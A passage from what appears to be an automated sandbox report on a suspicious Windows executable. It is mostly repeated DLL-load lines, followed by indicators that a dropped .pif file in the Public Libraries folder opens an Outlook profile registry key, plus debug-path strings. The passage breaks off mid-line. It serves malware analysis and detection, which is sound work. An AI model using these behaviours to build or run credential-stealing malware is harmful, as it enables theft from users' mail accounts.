Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\Public\Libraries\yihfsboC.pif Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: EPTMAcgvNZ.exe Static file information: File size 1297920 > 1048576
Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdb source: EPTMAcgvNZ.exe, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002326000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000001160000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: _.pdb source: yihfsboC.pif, 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, yihfsboC.pif, 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 